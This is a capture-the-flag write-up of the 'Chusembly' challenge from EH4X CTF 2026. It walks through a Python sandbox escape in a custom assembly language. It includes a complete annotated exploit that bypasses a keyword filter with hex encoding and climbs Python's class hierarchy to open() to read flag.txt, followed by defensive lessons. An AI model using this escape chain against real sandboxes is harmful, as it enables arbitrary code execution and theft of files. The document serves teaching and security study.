Chusembly

Eh4x CTFby smothy

Chusembly - EH4X CTF 2026

Category: Miscellaneous | Points: 500 | Solves: 7 | Author: benzo

I've created Chusembly - a revolutionary new programming language that's totally secure! It has registers, a stack, and everything a real language needs. I even added a safety check so you can't do anything dangerous. The flag is sitting right there in flag.txt, but good luck reading it with my restricted instruction set! 😏

http://chall.ehax.in:6969/


First Look

Alright so we land on this page called "Chusembly Runner" - basically a textarea where you paste code and hit Run. The placeholder shows:

LD A 1 LD B 2 ADD A B STDOUT A

Output: 3

Ok cool, custom assembly language. The challenge says the flag is in flag.txt but we have a "restricted instruction set" and a "safety check". Classic sandbox escape vibes.

me: "restricted instruction set" also me: so you're saying there's a chance

so you're telling me there's a chance


Recon - What Are We Working With?

Step 1: Find the instruction set

First thing - send an invalid instruction and see what happens:

INVALID

Output:

['LD', 'PEEK', 'POP', 'PUSH', 'DEL', 'ADD', 'MOV', 'CMP', 'IDX', 'CALL', 'PROP', 'END', 'STDOUT'] Error: Unknown instruction: INVALID

lmao the error literally dumps the entire instruction list. thanks bro.

Step 2: Find the docs

Poking around... /docs returns 200!

The docs page is actually super detailed. Here's the important stuff:

RegisterPurpose
A-DGeneral purpose
ESpecial result register - stores output from CALL, PROP, CMP, IDX

Key instructions for our exploit:

InstructionSyntaxWhat it does
PROPPROP <name> <reg>E = getattr(reg, name) - gets ANY Python attribute!!
CALLCALL <reg>Calls the callable in reg, args from A & B, result in E
MOVMOV <src> <dst>Copies src register to dst
DELDEL <reg>Clears a register (important for controlling CALL args)
LDLD <reg> <val>Loads value. Supports 0x hex-encoded strings!

The moment I saw PROP uses getattr() on actual Python objects...

brain: python jail escape time baby

hackerman


The Safety Check

Before we go full hackerman, let's figure out what's blocked:

LD A flag → "Error: Unsafe code detected" LD A Flag → works fine (outputs "Flag") LD A fl → works LD A .txt → works

So the filter just blocks the exact lowercase word "flag" in the source code. That's it. One keyword. For a 500-point challenge.

"totally secure" - benzo, 2026

We can bypass this with the hex string feature from the docs:

python
>>> "flag.txt".encode().hex()
'666c61672e747874'

So LD A 0x666c61672e747874 loads the string "flag.txt" without ever writing "flag" in our code. ez.


The Exploit - Python Object Chain

This is a classic Python sandbox escape using the object inheritance chain. If you've done any Python jail challenges before, you know the drill. If not, buckle up.

The Game Plan

Python Object Chain

Why Does This Work?

In Python, everything is an object. Every string, every integer, every class inherits from object. And object keeps a list of ALL its subclasses. So from any value, we can:

  1. Climb UP the class hierarchy to object
  2. Come back DOWN through any subclass we want
  3. Find one with __globals__ (any user-defined function has this)
  4. Reach __builtins__ which has open(), exec(), __import__(), etc.

The interpreter's own main.Chusembly class is a user-defined class, so it has everything we need. The snake eats its own tail.

benzo: "my language is totally secure!" his own class: *exists in __subclasses__* us: "i'm about to end this man's whole career"

The Full Exploit

Here's the Chusembly code, annotated:

asm
$ ===== PHASE 1: Climb to <class 'object'> =====
LD A hello
PROP __class__ A          $ E = <class 'str'>
MOV E A
PROP __mro__ A            $ E = (<class 'str'>, <class 'object'>)
MOV E B
LD A 1
IDX B C                   $ C = <class 'object'>

$ ===== PHASE 2: Get all subclasses =====
PROP __subclasses__ C     $ E = object.__subclasses__ (method)
MOV E D
DEL A
DEL B
CALL D                    $ E = [list of ALL classes in the interpreter]
MOV E C

$ ===== PHASE 3: Grab the Chusembly class =====
LD A -1
IDX C D                   $ D = <class 'main.Chusembly'> (last in list)

$ ===== PHASE 4: Traverse to __globals__ =====
PROP __init__ D           $ E = Chusembly.__init__ method
MOV E A
PROP __globals__ A        $ E = module globals dict
MOV E D

$ ===== PHASE 5: Fish out __builtins__ =====
PROP get D                $ E = dict.get method
MOV E C
LD A __builtins__
DEL B
CALL C                    $ E = __builtins__ dict
MOV E D

$ ===== PHASE 6: Get open() function =====
PROP get D                $ E = builtins.get method
MOV E C
LD A open
DEL B
CALL C                    $ E = <built-in function open>
MOV E D

$ ===== PHASE 7: open("flag.txt") with hex bypass =====
LD A 0x666c61672e747874   $ A = "flag.txt" (hex decoded)
DEL B
CALL D                    $ E = open("flag.txt") file object

$ ===== PHASE 8: .read() the flag =====
MOV E A
PROP read A               $ E = file.read method
MOV E D
DEL A
DEL B
CALL D                    $ E = file contents

$ ===== PHASE 9: PROFIT =====
STDOUT E

Output:

EH4X{chusembly_a1n7_7h47_7uffff_br0}

nice


Key Takeaways (Educational)

1. getattr() is Dangerous in Sandboxes

The PROP instruction uses Python's getattr() which can access any attribute including:

  • __class__, __mro__, __subclasses__() → class hierarchy traversal
  • __init__, __globals__ → access to module-level variables
  • __builtins__ → access to ALL built-in functions

If you're building a sandbox, never expose raw getattr() without a strict allowlist.

2. Keyword Filtering is Not Security

The "safety check" only blocked the literal string flag. Real security needs:

  • Instruction allowlisting (not keyword blocklisting)
  • Restricting which attributes PROP can access (block all dunder attributes)
  • Running in a truly sandboxed environment (seccomp, containers, etc.)

3. The Python Object Chain

This is THE classic Python jail escape pattern. Memorize it:

"".__class__.__mro__[1].__subclasses__()

This gives you every class loaded in the Python interpreter. From there, find any class with a user-defined __init__ that has __globals__, and you can reach __builtins__ for arbitrary code execution.

Common useful subclasses to look for:

  • os._wrap_close → has __init__.__globals__ with os module access
  • subprocess.Popen → direct command execution
  • Any class from the application itself (like main.Chusembly here)

4. The 0x Hex Bypass

When a language supports hex-encoded strings, you can bypass ANY keyword filter:

"flag.txt" → 0x666c61672e747874 "open" → 0x6f70656e

Always check for alternative encoding when you hit a keyword filter.


TL;DR

challenge: "my custom language is secure, you can't read flag.txt" me: *uses the language's own PROP instruction to traverse Python's entire class hierarchy and get open()* challenge: surprised_pikachu.jpg

Flag: EH4X{chusembly_a1n7_7h47_7uffff_br0}

GG benzo, fun challenge! The "restricted instruction set" had everything we needed built right in.


If you want to learn more about Python jail escapes, look up "Python sandbox escape via subclasses" - there's a ton of great resources. HackTricks has a solid page on it.